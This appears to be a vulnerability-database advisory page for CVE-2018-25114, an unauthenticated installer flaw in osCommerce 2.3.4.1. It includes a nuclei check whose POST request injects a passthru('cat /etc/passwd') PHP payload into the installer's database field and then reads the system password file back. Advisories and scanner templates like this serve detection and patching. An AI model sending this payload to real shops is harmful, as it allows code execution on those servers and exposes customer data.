HexBrain

Browse / CVEs / CVE-2018-25114

CVE-2018-25114· CWE-94

osCommerce 2.3.4.1 - Remote Code Execution

criticalseverity
4.6%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

osCommerce Online Merchant 2.3.4.1 contains a remote code execution caused by insecure default configuration and missing authentication in the installer workflow, letting unauthenticated attackers execute arbitrary PHP code via install_4.php, exploit requires accessible /install/ directory after installation.

Impact

Unauthenticated attackers can execute arbitrary PHP code by exploiting the insecure installer workflow, leading to complete e-commerce platform compromise and access to customer data.

Fix

Remove the /install/ directory after installation and upgrade to a patched version of osCommerce.

How to confirm it

Send: POST /install/install.php?step=4 ; GET /install/includes/configure.php
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2018-25114 -u <target>

The full check
id: CVE-2018-25114

info:
  name: osCommerce 2.3.4.1 - Remote Code Execution
  author: Suman_Kar
  severity: critical
  description: |
    osCommerce Online Merchant 2.3.4.1 contains a remote code execution caused by insecure default configuration and missing authentication in the installer workflow, letting unauthenticated attackers execute arbitrary PHP code via install_4.php, exploit requires accessible /install/ directory after installation.
  impact: |
    Unauthenticated attackers can execute arbitrary PHP code by exploiting the insecure installer workflow, leading to complete e-commerce platform compromise and access to customer data.
  remediation: |
    Remove the /install/ directory after installation and upgrade to a patched version of osCommerce.
  reference:
    - https://www.exploit-db.com/exploits/50128
    - https://github.com/nobodyatall648/osCommerce-2.3.4-Remote-Command-Execution
    - https://www.exploit-db.com/exploits/44374
    - https://www.vulncheck.com/advisories/oscommerce-installer-unauth-config-file-injection-php-code-execution
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
    cve-id: CVE-2018-25114
    cwe-id: CWE-94
    epss-score: 0.04564
    epss-percentile: 0.91679
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2018,rce,oscommerce,edb,vuln,vkev

http:
  - raw:
      - |
        POST /install/install.php?step=4 HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        DIR_FS_DOCUMENT_ROOT=.%2F&DB_DATABASE=%27%29%3Bpassthru%28%27cat+%2Fetc%2Fpasswd%27%29%3B%2F%2A
      - |
        GET /install/includes/configure.php HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from